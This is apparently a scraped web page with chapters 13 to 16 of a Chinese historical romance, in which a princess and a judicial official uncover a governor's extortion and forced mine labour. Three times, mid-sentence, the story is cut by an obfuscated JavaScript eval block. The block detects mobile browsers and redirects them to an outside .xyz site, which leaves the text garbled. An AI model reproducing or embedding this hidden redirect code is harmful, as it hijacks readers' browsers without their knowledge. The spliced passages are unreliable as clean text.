原是通往郡治的道路因前些时日的那场大雨毁坏,这胥吏正以修路为由,挨家挨户地征收钱财。 老妪哀求的声音随着风飘飘摇摇地荡入耳中,“前些日子刚收的田税,如今家里的实在拿不出那百十来钱……求官爷宽限几日,老妇、老妇一定补上。” “宽限?往郡里的路不修好,你们怎么去城里卖东西?这是郡里想修路吗,这分明是给你们谋一条生路!郡守大人的善心,你们这一群刁民竟不知领会?!” 那老妇自是连连磕头口称“恩德”,口中仍旧求着宽限时日。 像是觉得对面识趣,那小吏也终于松了口,“看你也不是不知趣的人,就这样吧,你家那只鸡——” 老妪哀叫一声,哭嚎:“家里的媳妇身子弱,全靠着这只鸡下蛋才能补补身子有点奶水,我那小孙子才刚刚满月,正是喝奶的时候……” 那小吏顿时生恼:“你个老东西,别不识好歹!你当一只鸡能抵了钱吗?不过是提前收了利钱,给你宽限一个旬日,若是实在拿不出钱,郡守也不是不讲道理的人,你家里出个人来做劳役,干几日活,也便把钱抵了。” 上前的苏之仪正听见这一句。 他脚下一顿,本打算再听听还能听出什么消息来,抬眼却瞥见停在一旁的马车。 素手挽起半边车帘,正在透过车窗看着这里。 那袖手旁观的心思顿时压了下去,苏之仪走上前去,朗声:“依《齐律》,道有陷败不可行者,罚其啬夫、吏主者黄金各二两[1]。倒未曾听言,需得乡民负担的道理。” “哪来的犬彘,管这些闲事?” 那小吏正被老妇纠缠得烦扰,张口就是一句喝骂,但抬头看见苏之仪的相貌打扮,却不由地一顿。 面目白皙、发冠齐整,身上虽非绫罗绸缎,但也是仪容齐整,通身气度不似一般人。 这乡野旷地的,哪里冒出了这么一个人? 那小吏颇有些进退不得。 接着骂吧,怕得罪贵人,但是这么闭嘴又有点下不来台。 他眼珠四处乱转,很快就瞥见一旁看上去颇为华贵的马车,还有后面随行的行李和护卫的车架,于是这决定也下得痛快了。 “贵人容禀……” 这小吏还想着捏造几句这老妪素来刁钻跋扈之类的话,抬眼却看见不远处一锦衣青年打马而来。 他当即眼睛一亮,那点“能屈能伸”的态度立时收了起来,快步迎上前去,“王掾!” 来人正是郡里主管营造的司空下掾吏,也是这小吏的顶头上司。 这浑身锦绣的青年也未下马,只是勒着马缰放慢了速度,斜斜地往下睨了一眼,“钱收上来了?” 那小吏做出欲言又止的神态,往苏之仪那边瞥了眼。 用众人都能听到的“小”声,低道:“卑职谨遵上官吩咐,只是这里突然来了个外乡人,说了些律法什么……王掾也省得,小人大字不识一个,怕是小的误会上头吩咐,故而不敢擅动了。” 王富那一双粗短的眉毛听得直拧,他循着小吏的目光看向了苏之仪。 一阵隐带打量的扫视之后,心底冷嗤一声,人却放松下来,悠然地驱着马往前走了几步,手上的马鞭轻挥了两下,像是招呼的示意又像是隐晦的威胁,“这位兄弟面生得很?是外来求学的吧,不知师从何人?” 苏之仪拱手:“承蒙圣恩,在太学受教过几日。” 王富越发轻蔑。 太学的名头是响,这厮顶着太学的天子门生的名头,却在长安连个胥吏都没混上,反倒跑到阳曲来了,前途可想而知。 他嗤着声:“你倒是说说,这犯的是哪条律法?” 苏之仪把刚才那话重复了一遍,又接着解释,“若是真因雨势之故,导致道路不通,也该由郡中出钱修整,若是他故,那便是监管之责。倘若真的要罚,该罚的也是乡里的啬夫和主管的官吏,又与乡人又有何干呢?” 旁边的小吏脸都绿了。 刚才光听着这人咬文嚼字,没注意里面的内容,万没想到这是要搜刮他的钱!这人好大的胆子!! 那小吏刚想喝骂,却听上首一阵哈哈大笑,王富已经先一步开口,“你这是什么律法?我告诉你,阳曲地界上有阳曲的律法。我让他们交钱,他们就得一分不少地给我供上来!” 他这么说着,鞭子挥舞,直直地往旁边跪着的老妇人身上抽去。 尖锐的声响破空,却在半空中戛然而止,原是那看起来弱不禁风的书生动了手。他掌心稳稳拽住了鞭尾,宽大的袖袍落下,露出一截苍白但劲瘦小臂。 王富往回扯了扯鞭子,但一时居然没扯动,脸上便有些挂不住了。 但在他发作之前,先听见一声清厉的冷笑,“我倒是不知道,这阳曲郡何时成了诸侯的封地?在这郡中,竟然还能另行他律!” 那声音携怒依然清丽婉转,王富忍不住抬头望去。 但这一眼却僵在了原地。 人如其声,的确是个美人,但王富却不敢生出遐思。 盖因比起美人来,这更先是个“贵人”。 虽说因路上奔波装束从简,连发间都仅以一素钗装饰,但是女子的衣裙到底花式多些,也更易辨认。此刻王富一眼看过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202211|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不管是直裾的色泽,亦或是织锦大带上坠玉,绝非一般人能有。再细看一旁的苏之仪,虽然衣裳的色泽不显,但料子细密绝非他开始以为的粗布麻衣。 王富心道一句“不好”,刚想要撩下几句狠话跑路,却见那女人已经抬手示意了一下。 旁边的护卫已经顺势上前,将王富从马上拖拽下来。 王富狼狈跌落在地,“尔等何敢?!我可是郡守亲眷!” 然而这话并未有何收效,他清清楚楚听见那女人开口,“也好,让阳曲郡守来一趟罢,听他说说。我在阳嘉的食邑尚且只领税赋,竟不知这阳曲的郡守还能私立郡法,当真如此,我可要去同大父好好闹一闹了。” 王富疑心自己没有听清楚,又觉或许听得太清楚了,他脸色一下子灰败下去,哆嗦着被这护卫押送到一边绑了。 那老妇像是被这变故惊得呆在了原地,岑篱的目光转过去,她又猛地回神,连忙跪直了身想要磕头,脸上的恐惧瞧着比方才见那小吏还更甚些。 苏之仪连忙搀住了人,“阿母不必多礼,在下有一事相询,不知您可否解惑?” 对这个刚才替她拦了一鞭子的年轻人,老妇的态度也好上许多,但也是颤颤巍巍地,“贵人请问。” “那官吏方才说‘征发劳役’,近来阳曲郡的劳役可比往年繁重许多?” 那边被压住的王富明显知道些什么,猛地抬头看过来。 那老妇一僵,吞吐着:“禀、禀贵人……并未。” 苏之仪当然看出了问题。 但他也不强求,只是接着道:“我等一路奔波而来,正想找间屋舍歇歇脚。不知阿母可否借贵居暂歇?” 这次对面总算痛快应下。 兴许是刚才是岑篱出面喝住那司空掾的缘故,老妪对着她要比对苏之仪拘谨得多,岑篱刚一上前,就见对方抖如筛糠。见状,她也只得无奈往后退了几步,任由护卫将自己隔开。 那老妇的屋舍说是在附近,其实走田埂上的小路还要一段路程。 岑篱被簇着走在队伍的中后段,对着旁边的苏之仪打趣道:“温知不愧为廷尉,对律法如此熟记于心。大父这官倒是封得妥当。” 这话虽说调侃的意味居多,但里面也确确实实满溢称许之意。 岑父主修过齐律,岑篱幼年时便跟随父亲耳濡目染。但即便如此,她也不敢说自己能在那么短的时间内,找到合适的律法条文。 只是岑篱这句赞赏出口,却久久没有得到回应,她疑惑地转头看过去,却见苏之仪正在看她。 漆黑的眼底有什么浮浮沉沉,让人看不分明其中神色。 岑篱被看得迷惑,忍不住低头看了看自己,“我身上有什么不妥?” “并无。”苏之仪答道。隔了一会儿,他才哑着声娓娓低叙,“我年少时很是窘迫,有人赠了我一册《九章律》,又教我立了志向。自此时时熟习,不敢稍忘于心。” 岑篱愣了一下,倒是笑了,“未听你说起过此事。这般看来,那倒是个慧眼识珠的人。” 苏之仪深深地看了岑篱一眼。 “……的确如此。” 她恋慕的人大破匈奴、封侯拜将,是一等一的少年英才。 只可惜他非但并未知恩图报,反倒做了个借势胁婚的小人…… 14.第 14 章 茅草的房子谈不上什么布置,但那老妪还是让媳妇抱着孙儿去了偏间,岑篱一行人被迎到了最宽敞的主屋。 大抵是为了冬日里保暖,屋舍的窗子开得很小,便是主屋也显得昏暗。 随行的护卫先进去将里面略做了点收拾,岑篱拣着靠近门口光线好的地方坐了。 人才刚刚坐定,就听外面一阵吵闹的动静,岑篱探出身去看,“发生何事?” 见院中景况却是一愣,原是那老妇正在杀鸡。 岑篱进来的时候看见过这鸡,养得很精细,瞧着精神比人还好些,方才见到一群人进来还趾高气扬地咯咯哒直叫。 只不过这会儿,一只枯瘦的手扼住鸡翅膀,另一只手拿着一把肉眼可见的钝刀。 那鸡已经被割了喉,下方放了一只接着鸡血的破陶碗。 看见岑篱出来,那老妪登时慌了神,一时不知先放刀好还是先放鸡好,慌里慌张地,“家、家里没甚招待贵客的。” 岑篱叹息:“阿母不必——” 这话没说完,原来那鸡竟没死透,趁着老妪分神之际,挣脱开桎梏的那手,扑棱着翅膀飞了过来。岑篱下意识往后退了一步,躲开了鸡,却没躲开那溅过来的一身血,虽说被过来的苏之仪挡了大半,却仍旧沾了半边的衣袖。 门口值守的护卫忙不迭上前,但这些平素操.练的卫士,抓人射猎可以,拘在小院子里抓畜生却是头一回。手忙脚乱间彼此妨碍,竟谁也没能奈何一直半死的家禽,被那鸡扑棱上了院墙。 像是被这院子动静惊动,一直很安静的里间响起婴儿的啼哭声。 一时之间翅膀的扑棱、婴孩的啼哭、院中护卫的请罪声交织在一起,岑篱默然了大半天,倒是“噗嗤”一下笑了出声。 该让谢怀朔来看看的。 这鸡飞狗跳的,可不就是他爱看的热闹?! 脑海中的这想法不自觉冒出,又如流水般淌过。虽说难免在心湖上激起一片波澜,却很快消弭无声。 ……终会过去吗? 思绪模糊地闪过,岑篱略略敛下笑意,对着还请罪护卫道:“好了,把那鸡拿下来吧。” 原来那鸡垂死挣扎了半天,终于将仅存的那点生机耗尽,将自己挂在的墙头上。 像是终于被哄下来,里间婴孩啼哭声也跟着止住,眼下的混乱终于告一段落。 岑篱拦住又要磕头的老妇人,“阿母不必多礼,本就是我等占了你家的屋舍,还劳主人如此盛情款待,令昭实在愧领了。” 又示意了一下旁边护卫,后者会意地拿出一袋铜板,岑篱将之递到了的老妇人手上,“这只鸡就当我们买了。余下的那些,阿母去买些吃用,也当是我等的谢礼。” 老妇人一惊,连连推让着:“……使不得,使不得!用不了那么多!” 这边的推让并未持续多长时间,院子门口传来动静,原是先前离开的护卫将阳曲郡守带了过来。 这阳曲郡守一路和随行护卫套着近乎,虽说得到的待遇不冷不热,但也得知了前因后果。他心底把王富这个倒霉催的骂了个狗血淋头,一路上都在想怎么完完整整地自己择出去。 眼见着快到了那破败的农家小院,倪延将说辞又在心底重复了一遍,理了理身上的官服,阔步往院子中走去。 他本意先声夺人,对那搜刮民脂的王富大加训斥,但却怎么也没想到,甫一踏进小院,刺鼻的血腥味儿直冲脑门,院中血迹斑驳,一旁的劲装护卫亦满身血煞之气。 “噗通”一声,倪延双膝一软,直接跪到了地上。 好在刚才的准备还在,虽说脑中一片空白,但口中话已经流畅地吐了出来,“下官亦是方才得知,治下竟出了如此祸事。那王富巧立名目诈取民财、为祸闾里,此獠非杀之不能解恨!郡主此举大快人心!!” 这话一出,满院寂静无声。 倪延自觉方才那番言语大义凛然,并无不妥之处,便也试探着抬起头来。 目光刚刚抬高了一点,就对上了一双双眸圆瞪的眼睛。 王富脸上还沾着刚才溅上去的鸡血,像是还没从那段话里反应过来,表情呆呆愣愣地嗫嚅,“姐夫。” 倪延更是脑子一懵:不是王富的血?那这院子又是怎么回事? 虽说脑中还没转过来,但他已经反应很快地厉声喝止,“谁是你姐夫?!不过一贱妾胞弟尔,我被你姐姐花言巧语蒙骗,竟不知你在外行恶时打着我的名头!!”这么说着,又冲着前面岑篱重重叩首,“郡主明鉴,此獠在外行恶,如此玷污下官声名。求郡主替下官做主啊!” 对于倪延这一番唱念做打,岑篱只是脸色冷淡地看着,见他这会儿说完,才淡声,“郡守倒不必如此急着自证,是不是玷污日后自有分说,况且此事也非是我能做主的。”她转向旁边示意了一下,“奉陛下之命、持符节来阳曲查案是苏廷尉,我不过是来此散散心,郡守有什么话,便对着苏廷尉说说罢。” “谢郡主指点。”倪延额上隐见汗意,转向旁边的苏之仪,仍是叩首,“廷尉明鉴,下官当真不知情。” “那这么说,你是认下了‘失职不察’的过错了?” “这、这……”倪延磕巴了两下,倒也果决,“是下官无能、愧对圣恩,请钦差大人惩处。” “是否惩处还要查过再议。我此次奉圣命前来,是为另一件事,郡守当知为何?” 不知是苏之仪的态度让倪延提着的心放下,还是说起了早有准备的话题让他心情放松,他表情居然平复了许多,“下官知晓。只是此事实在有大误会在,事情说来话长……这村舍简陋,不宜详谈,不如郡主同廷尉先移步郡守府?” 岑篱和苏之仪对视了一眼,尽皆看见了眼中的疑虑。 当真是奇了怪了,不说倪延这胸有成竹的态度,就说旁边的王富,从进门唤的那声“姐夫”之外,再无其他言语。明明倪延一副全然不掩饰地将黑锅往他身上扔的态度,可偏偏后者半点攀咬的意思都没有。 二人交换了个眼神,还是点头应下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211385|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只是临到走时,岑篱却突然叫住了那边缩着身的老妪,“此次来郡中匆忙,身边未带使婢。呆着时日一长,难免需要人手帮忙打理杂事,相逢也是缘分,不知阿母和阿嫂愿不愿意在我这里做几日工?” 那老妪还不及答话,倒是倪延开口,“郡主若要人手,何必寻此等乡野村妇?粗手粗脚,恐怕是照顾不好贵人。府上自有婢女、规矩家事都是教导好的,郡主到了便随意指使就是。” 岑篱似笑非笑地,“倪郡守治下,还真是人才济济啊。” 说着,眼神瞥向那边被押送的王富和他手下小吏。 倪延:“……” 碰了个不软不硬的钉子,倪延总算歇了继续献殷勤的打算。 * 岑苏二人跟着倪延回了郡守府,岑篱在郡守府暂时歇下。苏之仪却没停留,而是跟着倪延去了他所说的地方。 从郡治至此快马大半日光景,苏之仪一行到的时候,已经天色将暮。 点燃的火把照亮了山林间的小路,也照见了地上的兵器残骸,模糊的马蹄印延伸到山坳深处,见苏之仪还要往前走,倪延忙不迭地拦住,“廷尉,可不能再往前去了啊!” 他压低声音解释:“此地山多林密,常有盗匪盘踞,过往商旅多受其袭扰,下官命郡尉派兵卒去征讨,只可惜吃了不熟悉地形的亏,反而受挫。某这才征发兵役,意在除此盗匪。” “既然郡中有盗匪横行,何不上报朝廷?” 倪延连忙躬身:“是下官自作聪明了。只是上月的时候,边关战事隐有不善之迹,某思虑之下,深觉我等食君之禄,当为主上分忧,家国大难之前,此等乡野匪患只是微末之疾,实在不该去搅扰圣听。” 苏之仪若有所思,“郡守当真有心了。” 这位倪郡守当真给了个好理由。 盗匪作乱……这么一来,不止是“募兵”有了解释,就连之前暗中派来的监察失踪的事也有了说法。 …… 另一边,岑篱在郡守府落了脚。 她带过来的两个人,一个年老体弱,另一个才刚刚出了月子,岑篱倒不至于真的让这两个人照顾她。她带这两个人同行,另有理由。 “方才在院子中,我观家中并无男丁,可是被征了劳役?” 那媳妇邹三娘刚想回答,却被婆婆范氏以眼神制止。 这点粗浅的眼神官司岑篱还是看得出来的,她莞尔,“我知晓范媪的顾虑。只是范媪也当知道,以我的身份,向郡守讨一劳役之人,轻而易举。况且朝廷亦有律令‘诸当行粟,独与父母居老如睆,勿行[1]’。若范媪家中仅有独子,依律不该征为劳役。” 范媪:“……” 老人家还在犹豫,邹三娘却忍不住了,低声唤了一句,“娘,大牛哥他——” 提及儿子,范媪也抑不住焦心之意。 良久,她像是终于下了决定,“噗通”一声跪在了地下,重重磕头道:“求贵人发发善心,救救我儿。” 15.第 15 章 低矮的矿洞阴暗潮湿,固定在墙壁上的火把彼此之间隔得很远,微弱的火光照不亮更远处,往深处走的路依旧如幽暗的深渊,但却映照出了矿壁上诡异的青绿色,那青绿的颜色鳞片似的附着在墙壁上,乍一眼看过去仿佛通往幽冥绝路。 于这里面的人而言,这条路也与幽冥无异了,兴许真的到了阎王殿,反倒是安息。 然而此时此刻,此处却是一场活生生的人间炼狱。 此间管事正拿着鞭子,像驱赶牲畜一般赶着前面的人,“快点!都给我走快点!!” 这人身材高大、体型彪悍,途径一火把下面,摇曳的火光赫然映出了其颊上一墨色刺字“贼”,原来这竟是个因罪黥面的刑徒。 只不过此刻这人气焰嚣张,半点看不出阶下囚的样子。 四处乱扫的鞭子抽在前方的人身上,尖锐的刺痛让被打中的人一个瑟缩,却也不敢反抗,只是越发加快了脚步,希望将更多的人落在身后,替自己个儿挡一挡这狠辣的鞭打。 这样的驱赶之下,落在队伍最后的,自然是体弱或是年老的人。 这些人本就走得颤颤巍巍,哪里经得起这监工狠厉的一鞭子,再度被抽打中的人一个踉跄,跌倒在地上,背上的竹筐往侧边滚落,里面的铜矿石滚落一地。 见此情形,那监工竟不怒反笑,那张刺了字的脸上露出了扭曲的快意。 挥舞的长鞭在狭小的矿洞里挟起了一阵劲风声,这力道完全是冲着活生生把人抽死去了。 千钧一发之际,一个青年往后冲过来,用身体护住了那倒地的老人。鞭子抽中了他的脊背,这些矿下劳役可没什么穿的,浑身上下只单着了一条裈,这一下子直接将那光祼的脊背抽了个皮开肉绽。 被护住的老者惊呼:“大牛!” 刘大牛哑着声叫了句“爹”。 原来这竟是一对父子。 老者哽咽着摇头,“傻啊!不如让我这么死了算了。” 刘大牛当即红了眼圈,可后面的监工却并未给爷俩父慈子孝的功夫,只片刻间,鞭声再起,还夹杂着喝骂,“怎么?想造反啊?” 刘大牛不敢反抗,又生生挨了这一下子,才咬着牙把两筐矿石都背了起来,“我替他背!” 那监工可没这么好说话的,见刘大牛把两个筐都背起来,反而是表情一冷,“好啊,平日里都出工不出力是吧?我叫你们偷奸耍滑!偷奸耍滑!!” 他手上又是用劲儿,这次却不敢下死力气了。 这些劳工死了太多他也是要被上面寻麻烦的,那老头已经在这儿干了一年了,本来就是半废的人,死了便死了,但这刘大牛可是上好的壮劳力。他前日刚打废了一个这般的壮劳力,才隔了两日再出一个,他不好解释。 只是就这么放过人却不是他想的,眼珠一转,便有了计策。 清了清嗓子,开口:“都看见没?下次比照今天的分量,再加上一倍。都是些懒汉,非得叫人拿鞭子赶着……都看着干什么?!还不赶快往前走。” 一众劳役早都在日复一日的鞭打中学会了逆来顺受,这会儿连个吭声的都没有。 只是无端遭此为难,再看那边的刘大牛父子,眼神不免带上了怨恨。 那监工颇觉得意地笑了。 刘大牛却无心去留意这些人的情绪。 刚才那一阵鞭子劈头盖脸地打来,他尽力用身体翼护父亲,但仍旧没等完全挡住。更令他心底生惧的是,在这样的鞭打下,身下的人居然一动不动。 刘大牛甚至顾不上自己身上的灼痛,低着头用气声,小心地唤了一句,“爹?” 没有回应,但昏暗的光线下,老者身侧的小指似乎动了一下。 然而还不待刘大牛确认,那监工已然猜到是怎么回事了。 他往旁边啐了一声“晦气”,抬手往前指了一下,“你,给我把这老东西拖出去。死哪不好,死在这儿,死了还堵着个路。” 被点的那个人应声上前,但还没等靠近就僵住了。 刘大牛抱起了亲爹,抬眼双目赤红地看过来,大有谁敢靠近就和他拼命的架势。 不止是被点到的那人,连那监工也被唬了一跳,往后退了半步。 反应过来之后,又是恼怒,“反了天了!!” 他说着,挥舞着鞭子就要凑近。 但还未及动作,先听洞口处的一声呼喝,“刘大牛是哪个?刘家村刘大牛!郡守派人来要人。” …… 几个时辰之后,刘大牛换上了全套的兵卒衣裳站到了郡守面前。 倪延上下打量后,满意点头。 因在矿洞做工时日尚短,这刘大牛虽然消瘦了些,但还远没有到皮包骨头的样子,这簇新的卒服一穿,还真有几分样子。 见倪延点头,一旁的幕僚立刻会意,拿腔作势地开口,“是郡守遣人你从那矿洞里带了出来,又花费重金替你治伤。如此大恩大德,你还不赶紧谢恩?” 刘大牛却梗着脖子未动。 他木着眼神直勾勾地盯着前头,涩声问:“我爹呢?” 幕僚狠狠拍了下桌子,“大胆!” 到底被鞭子抽得多了,这动静一响,刘大牛下意识地瑟缩了一下。 眼见着这白脸唱得到位,倪延也摆了摆手止住了还待继续威逼的幕僚,态度亲切地上前,亲手搀住了人,语气温和地,“刘老丈还养着伤,不好随着你奔波。你是郡中之人,自是知道,我待自己麾下之人都极亲厚,你既然帮我办事,我必定厚待你的家人。” 不止是被那句话戳到,刘大牛那麻木的眼中终于有了点神采。 他嘴唇颤了颤,跪倒在地,“草民明白。” 等打发走了刘大牛,这间私邸内房间气氛顿时一松。 倪延抬了抬手,旁边立刻有仆役奉上一方锦帕,他抬手接过,一根一根地擦着刚才的碰过刘大牛的手指。 旁边的幕僚也不复刚才对着刘大牛的趾高气昂,满脸堆笑地赞叹道:“妙!妙!!郡守此计实在妙极!!放那刘大牛去见他老娘媳妇,这‘征兵役’一说便做了实,人证物证俱全,那朝廷来的钦差也只能碰了一鼻子灰回去。” 倪延压下那志得意满的笑意,摆手谦辞道:“不过是多一手准备罢了。” 幕僚正准备再接再厉接着拍几句马屁,却见一仆役匆匆赶来,低声说了两句什么,他当即脸色不好看起来。 “何事?” 幕僚语气迟疑,“那老头咽气了。” 倪延却嗤笑出声,“瞧你,这点事都端不住,像是个什么样子?那老头送过来就看着救不活,难不成还真的给他延请名医不成?” “郡守是说?” “……下次他来,随便找个理由打发了就成。不过是在郡主面前露个脸,还真以为那京城来的达官贵人会见他第二面?” “妙啊!郡守算定人心,属下自愧弗如。” * 郡守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229069|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府,岑篱正得郡守夫人招待。 这位郡守夫人出自阳曲当地大族,待人接物很有一番风度,只可惜似乎在府上威严不足,指使下人颇有点力不从心。 “回夫人,王姬昨日刚刚让厨房烹了羊肉,如今府上没有可宰杀的羊了。井里倒还窖藏了些宿肉,才堪堪放了两日,厨房说滋味差不了……” “混账东西!”郦文善勃然色变,长袖一甩将案上的铜香炉摔到了地上,怒斥道,“郡主为府上贵客!尔等素来不知尊卑,但郡主岂是你们能慢待的?去告诉厨房,今日若是拿不出待客该有的礼仪,让他们都滚出府邸。” 似是没想到向来对府中事务爱答不理的夫人会发这么大的脾气,那婢女直直地愣在了原地,被郦文善目光一刮,才连忙跪倒在了地上,“唯,奴婢这就去传话!” 像是真的被吓了个不轻,那婢女走时还颇有些踉跄。 郦文善看着她离开,才对岑篱施礼道:“郡主见笑了。府上都是些没有规矩的人,素日里疏于管束,竟然冲撞了贵人。” 岑篱则是笑:“郦夫人不必多礼。素闻当年郦公大殿之中与列侯论道盛况,如今见其后人,果真风姿不凡。” 郦文善似是怔然。 良久,她才叹息一声:“郡主过誉了。子孙不肖,实在愧见先祖。” …… 从郦文善那边回来,岑篱路上若有所思。 言谈中便可知道,郦文善并不是个逆来顺受的柔弱脾气,但即便如此,她还是以正妻的身份在郡守府处处受制,这府中主人的态度是一回事,另一方面,恐怕郦氏一族在阳曲的日子也不太好过。 明明是个外来的郡守,却能势压当地大族,这位阳曲郡的郡守也着实有些能耐。 岑篱思索着这些,回到自己的院落,远远就看见一个人影站在院子门口。 是那婆媳二人里的邹三娘。 看见岑篱回来,她忙不迭地往上迎,只是走得近了,人又紧张起来,脚步踉跄、膝盖打弯,半点不敢看岑篱,只低头盯着自己的鞋尖,磕绊着:“回郡、郡主,白日里的衣裳已经浆洗过了,已经晾上了。我没洗过这样的衣裳,怕给贵人洗坏了,还是多亏了这府里的夫人指了个嬷嬷过来指点……” 岑篱却听得一愣,连这点细节都注意得到,还能安排上人手,这郦夫人可不像是在府中举步维艰的样子。 不由又想起了方才宴上那番发作……是故意做给她看? 这个郦夫人,还当真有点意思。 思绪飞快转过,再看前头舌头都快捋不直的邹三娘,岑篱回过神来,温声安抚,“你不必如此。你夫君的事,我已经遣人去告知郡守了,只是郡守和苏廷尉如今还在宁县,需得个一二日的光景才才能回应。” 邹三娘猛地抬头,又慌忙垂下。 “谢郡主,”她顿了顿,不知想了些什么,肩头微微发起了抖,岑篱还以为她是害怕,正准备退开几步,确定对方哽着声低道,“便、便是……民妇也必不忘郡主的恩情。” “便是”后的词句因哽咽无法辨认,但岑篱却听懂了。 多像啊。 不敢抱希望,唯恐那希望落空,却又抑不住地抱着一点念想:万一呢?倘若有那万中之一的上苍垂怜,只望有朝一日能看见他活着回来。 岑篱不由地放柔了表情,她俯身搀起了人,拿着帕子动作轻缓地擦着女人脸上的泪,温声:“会好的。” 一切都会好起来的。 16.第 16 章 第二日,去宁县的苏之仪便同阳曲郡守一同回来了。 同行的还有另一个人,正是范媪的独子刘大牛。 一身簇新卒服的刘大牛正跪在地上向着母亲磕头,“娘,不孝子回来了!” “瘦了、瘦了,人回来就好!” 范媪含着泪连连点头,一旁的邹三娘也抱着孩子上前。 一家四口抱头痛哭,久别重逢的场景感人至深。 旁边的倪延也顺势请罪,“某也是才知道,那王富竟胆大至此。假立名目收取税赋已是大罪,在征卒一事上亦是肆行不法!名数上写得清清白白,这刘家仅有一独子承欢膝下、奉养双亲,朝廷素来恩德,明令不征独子,此事多亏郡主发现,不然便是坏了人伦大事,更兼之令黔首不明朝廷拳拳爱护之心,郡主之功大矣……” 不管怎么样,刘大牛一家人重聚都是难得的善事。 令这一家人在府邸上安顿下来,又等到拍够了马屁的倪延离开,岑苏二人才有了坐下来仔细聊聊的机会。 像是知道岑篱想问什么,苏之仪摇头,“我随倪郡守在宁县周遭都走了一遍,盗匪劫掠的痕迹是真的。若真是如此,他仓促征兵也说得过去,如今又有刘大牛这个人证,若只是奉命来调查,查证至此,可以回朝廷和陛下交差了。” 岑篱:“但温知以为不妥?” 苏之仪颔首:“既然要查,那必定要查个清楚。” 他和朝中的那些得家族庇佑、无功无过便能平步青云的人不同,他想要往上爬,必定得做出点什么。只到这个地步,可不足以让正崇帝满意,更何况这阳曲郡守本身就不干净得很…… 想着这些,苏之仪眸色一点点晦涩下去。 但抬眼时,却不由怔了怔,岑篱不知道什么时候笑了起来。 眼尾轻轻弯起,潋滟的碎光揉在那一双瞳眸中,其下是长睫投下的一片影子,随着烛火的轻晃而微微摇曳。 苏之仪不由晃了神。 不是故意做给别人看,亦不是强装出来的面具,这笑确确实实是对着他的…… “为官当不愧己任,苏廷尉有心于此,实在难得。” 岑篱只觉得她那日同谢兰君说得没错。这样的人,怎么就不能为良配了呢? 她莞尔轻声:“我昨日见过了郦夫人,家中下人对她颇有慢待,郦氏在阳曲的处境恐怕不怎么好,但毕竟是当地大族,对阳曲了解不同于一般,温知不如去寻个理由登门拜访。” 苏之仪被拉回了心神,“郦氏以经学闻名,虽说这数年间名声不显,但既然到了此地,合该去拜会一二。” 岑篱又提了另一个事,“既然这倪郡守说是剿匪,不如遂了他的意,向朝廷请旨派兵,也免得他有什么狗急跳墙之举。” “郡中匪患本就该向朝廷上报,此事我在宁县已经写过奏疏了,因并非急报,那信使如今还在郡中驿馆。”苏之仪停顿了一下,抬眼探究地看过去,“……令昭若有什么想在里面添上几笔的,可以把那奏疏要回来。” 岑篱怔了下,倏地明白了苏之仪的言下之意。 她抿了抿唇,错开了点视线,低声,“不会是他来。兵将非战事不可擅动,郡中芥藓匪患,大父还不至于让一位卫将军亲自前来。” 苏之仪:“……” 而他没问的那句是:你想要他来吗? * 岑篱没在送入京中的奏疏上添上什么,但远在长安的谢定却不是个坐等人归来的主儿。 这日从朝中回来,他开口便同谢兰君道:“兰君,你也收拾一下。咱们俩也许多年没回颍安了,陛下允了我告一阵子假,回去修葺宗祠、祭拜先人。” 谢兰君不解:“怎么想起这个了?” 谢父当年下葬的时候,差点没葬进祖坟。也亏得当年的谢氏族长一力坚持,这才没在后事上落得个无处归身。 不过有这龃龉在,要说谢定主动去修宗祠,谢兰君第一个不信。 果然,谢定紧接着,“给咱爹修修坟,然后去祭拜一下。” 给亲爹修修坟头、再祭拜一二,怎么不叫告慰先人了呢? 听出了兄长的意思,谢兰君默然了半晌。 见谢定抬脚就要走,她还是赶忙拦了一下,“那三叔那边?” 提起这家同在长安的亲属,谢定立刻就拧了眉。 但抬眼看看谢兰君,他还是把那翻涌的不快压了下去,“去问问也好。不过我已经叫平叔开始准备了,最迟后日出行,他们若是赶不上趟,那便自己走罢,又不是不认识路。” 谢兰君:“赶得这么急吗?” 谢定这次怎么都算是衣锦还乡了。当年在族里吃了那么大一个亏,按谢定的性格,就算不报复回去,多半也得招摇过市,好好让他们看一看。这么匆匆回去,可不像是他的性格。 谢定:“……” 这沉默来得突兀,半晌,他才像是遮掩着开口,“能早些走便早些走吧。” 这含糊来得突兀,谢兰君却突然明白过来。 回颍安的路上途径阳曲。 谢定此遭,恐怕回乡祭祖是假、想要找人是真。 她迟疑着,“大兄你……” 谢定本就不是个遮掩的性子,又是对着自己的亲妹子,见谢兰君这态度,他索性也摊开了讲,“我要去找她问清楚。我只信她亲口告诉我的话,只信我亲眼看到的东西。” 谢兰君不知说什么好。 